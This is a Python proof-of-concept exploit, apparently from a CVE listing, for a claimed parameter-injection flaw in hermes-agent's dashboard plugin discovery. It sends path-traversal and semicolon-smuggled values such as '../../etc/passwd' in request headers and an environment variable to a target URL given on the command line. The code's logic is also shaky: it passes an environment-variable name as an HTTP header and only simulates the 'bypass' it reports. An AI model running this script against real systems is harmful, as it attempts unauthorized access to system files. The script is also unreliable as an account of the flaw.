CVE-2026-9369 NousResearch hermes-agent CLI参数注入漏洞

#!/usr/bin/env python3 # CVE-2026-9369 PoC - hermes-agent parameter injection # Target: NousResearch hermes-agent 2026.4.23 # Component: hermes_cli/web_server.py # Function: _discover_dashboard_plugins import os import sys import requests def exploit_cve_2026_9369(target_url, malicious_plugin_path): """ Exploit for CVE-2026-9369 Manipulate HERMES_ENABLE_PROJECT_PLUGINS parameter to bypass comparison """ headers = { 'X-Hermes-Plugin-Enable': malicious_plugin_path, 'HERMES_ENABLE_PROJECT_PLUGINS': '1;../../etc/passwd' # Injection attempt } # Target the web dashboard interface target = f"{target_url}/api/dashboard/plugins/discover" try: response = requests.get(target, headers=headers, timeout=10) print(f"[*] Request sent to {target}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") # Check for successful exploitation indicators if response.status_code == 200 and 'plugin' in response.text.lower(): print("[+] Potential exploitation successful - unauthorized plugin access") return True except Exception as e: print(f"[-] Error: {e}") return False def local_exploit(): """ Local exploitation via environment variable manipulation """ # Set malicious environment variable os.environ['HERMES_ENABLE_PROJECT_PLUGINS'] = '../../malicious/plugin' # Trigger the vulnerable function # This would be done by calling the hermes-cli command print("[*] Setting HERMES_ENABLE_PROJECT_PLUGINS to path traversal payload") print("[*] Invoking _discover_dashboard_plugins function") # Simulate the vulnerable comparison enable_plugins = os.environ.get('HERMES_ENABLE_PROJECT_PLUGINS', '') if enable_plugins != '0' and enable_plugins != 'false': print("[+] Comparison bypassed - parameter accepted") return True return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python3 cve-2026-9369.py <target_url>") sys.exit(1) target = sys.argv[1] exploit_cve_2026_9369(target, '../../etc/passwd')